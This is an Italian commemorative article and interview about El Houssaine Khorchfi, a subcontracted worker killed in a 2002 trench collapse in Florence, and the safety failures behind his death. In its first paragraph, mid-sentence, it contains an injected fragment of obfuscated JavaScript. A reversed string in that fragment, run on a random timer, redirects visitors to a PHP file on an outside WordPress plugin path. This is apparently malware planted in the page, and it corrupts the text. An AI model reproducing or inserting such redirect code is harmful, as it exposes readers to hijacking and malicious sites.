Morire di subappalto

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È passato un anno.
El Houssaine Khorchfi è morto il 21 Novembre 2002, poco prima delle 3 del pomeriggio, mentre lavorava in un cantiere di via dei Caccioli, a Firenze. La sua ditta era in subappalto per la Publiacqua.
Era un mese che non faceva altro che piovere. Verso le tre i compagni del cantiere, vedendo la pioggia intensificarsi, decisero che fosse meglio interrompere il lavoro per quel giorno e (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andarsene a casa. Lo dissero a Houssaine ma lui decise di proseguire: ci teneva a finire. Così scese di nuovo nella buca in cui stava lavorando: tre metri e mezzo di profondità, 80 cm. di larghezza: una specie di cubicolo. Indossava guanti di protezione, casco, la maschera e la solita voglia di fare al meglio e portare a termine il proprio lavoro.

Ma allora cosa è successo? È Gabriela, la sua compagna, a spiegarcelo.
“Semplicemente gli è franata la terra addosso. Una massa di fango si è staccata dalle pareti del buco e lo ha ricoperto. I compagni sono intervenuti immediatamente scavando fino al viso per permettergli di respirare, ma Houssaine era già morto. Probabilmente non si è nemmeno accorto di quello che stava succedendo. Il rumore del martello pneumatico avrà coperto quello della frana.”

Emorragia interna, sarà poi accertato. Il peso della terra lo ha schiacciato contro il martello pneumatico che stava utilizzando per lo scavo. “È stato il suo coraggio a tradirlo”, fu il commento dei colleghi. Houssaine era un uomo molto forte e tenace.
“Forse ha sottovalutato la situazione, non si è reso conto del pericolo che stava correndo – dice Gabriela- le possibilità che un simile incidente possa accadere non sono forse molto alte, ma proprio per questo margine di rischio esistono le norme di sicurezza sui cantieri.”

Se fosse stata presente la struttura di protezione in legno, obbligatoria nel caso di scavi superiori all’altezza di un uomo, la morte di Houssaine non sarebbe avvenuta.
“Sicuramente – prosegue Gabriela – ha inciso anche la mancanza di un responsabile della sicurezza sul cantiere. La ditta aveva un responsabile della sicurezza, uno dei figli del titolare, ma non un responsabile per ogni cantiere che verificasse le condizioni di lavoro. Se quel giorno piovoso a dire basta fosse stato il responsabile della ditta e non i compagni, forse anche in questo caso, pur mancando la struttura protettiva, Houssaine sarebbe ancora vivo.”

Mancanza di una struttura obbligatoria, mancanza del responsabile della sicurezza sul cantiere: ecco come nasce una tragica ‘fatalità’.
Come era il rapporto di Houssaine con la sua ditta?
“Si era instaurato fin da subito un rapporto di fiducia. Per l’anziano titolare della ditta ‘Carciofi’ – come avevano soprannominato Houssaine qui in Italia a causa del suo cognome – era persona su cui poter contare, su cui fare affidamento. Erano otto anni che lavorava per la stessa ditta e gli venivano sempre affidati compiti di responsabilità. La Publiacqua e svariate altre ditte lo hanno anche dichiarato pubblicamente, in occasione proprio dell’incidente: se non erano garantiti della presenza di Houssaine sul cantiere non concedevano il subappalto alla sua ditta. Anche per loro rappresentava una garanzia di lavoro ben svolto.”

E dal punto di vista umano, dell’amicizia, degli affetti?
“Nella ditta gli volevano bene, sia i compagni che i titolari e lo hanno dimostrato. Quest’anno, per ricordarlo, hanno persino organizzato in occasione dell’anniversario della sua morte un torneo di calcio che porta il suo nome. È un torneo che ha lo scopo di far incontrare persone provenienti da diversi paesi del mondo. Un modo insomma per onorare la memoria di Houssaine con un impegno concreto verso la costruzione di un mondo che accolga e integri fra loro persone e culture diverse. I soldi raccolti nell’occasione sono stati portati da un suo collega in Marocco alla famiglia di origine.”

Ma come era arrivato ‘Carciofi’ qui in Italia?
“Houssaine si era laureato in Marocco con una tesi sull’economia dei paesi in via di sviluppo. Era venuto in Europa per un dottorato, in Francia. Viveva ospite del fratello, ma purtroppo, per tensioni in famiglia, decise di lasciare la Francia e di raggiungere un altro fratello in Italia. Qui, per caso, ma forse Houssaine avrebbe detto per destino, si era fermato a Firenze, iniziando la sua vita da zero. Dieci anni fa scese alla stazione di Santa Maria Novella. Dimenticò la sua valigia sul treno. Quando se ne accorse, il treno era già partito. In tasca aveva solo i documenti, ma decise di rimanere. Piano piano conobbe gente, riuscì a trovare lavoro…non fu facile, ma ci riuscì. A un certo punto aveva anche iniziato a far tradurre e autenticare i documenti dell’Università per farsi riconoscere il titolo di studio. Per far questo occorre tempo e denaro… poi però fu colpito da una tremenda vicenda familiare: la moglie morì di parto in Marocco. Dopo questo terribile lutto Houssaine non si occupò più di queste trafile burocratiche.”

Come viveva Houssaine la sua condizione di laureato-operaio?
“Lui diceva che tutto quello che succede è ‘Maktub’… è scritto… è già stabilito nel destino di ognuno. Certo viveva questa condizione in parte contraddittoriamente: da un lato sapeva di avere una preparazione diversa dai suoi compagni di lavoro, un capacità intellettuale e di analisi più sviluppate, profondi interessi culturali. Dall’altra accettava tutto quello che la vita gli poneva innanzi: era molto religioso e la sua fede gli faceva dire: “Dio ha voluto così”. Non aveva neppure paura della morte…”

Adesso c’è un’inchiesta in corso?
“Sai, quando Houssaine è morto, ho provato a presentare una denuncia come parte lesa, ma il Giudice per le Indagini Preliminari non ha preso in considerazione la mia richiesta. Anche se eravamo conviventi e molti lo possono testimoniare, non abbiamo potuto mai prendere la residenza assieme perché i locali in cui abitavamo non erano destinati all’uso abitativo. Avevamo anche cercato di sposarci ma per cavilli burocratici italiani (un problema di riconoscimento del mio cognome) non è stato possibile. Allo stato attuale ciò di cui sono a conoscenza è questo: il responsabile per la sicurezza della ditta è indagato per omicidio.”

Tu come lo avevi conosciuto?
“Al Centro La Pira. Io frequentavo il corso di italiano, lui era amico di persone che vi lavoravano. Dopo averlo incontrato varie volte presso il centro iniziammo a frequentarci in occasione del mio compleanno. Dopo sei mesi ero rimasta senza casa, avevo trovato solo situazioni provvisorie e mi trasferii da lui, nei locali adiacenti al magazzino della ditta. In passato vi erano stati episodi di furto e quindi offersero a Houssaine di alloggiare li accanto in modo da svolgere la funzione di guardiano. Così si trasferì a vivere nella struttura. Da allora non ci separammo più.”

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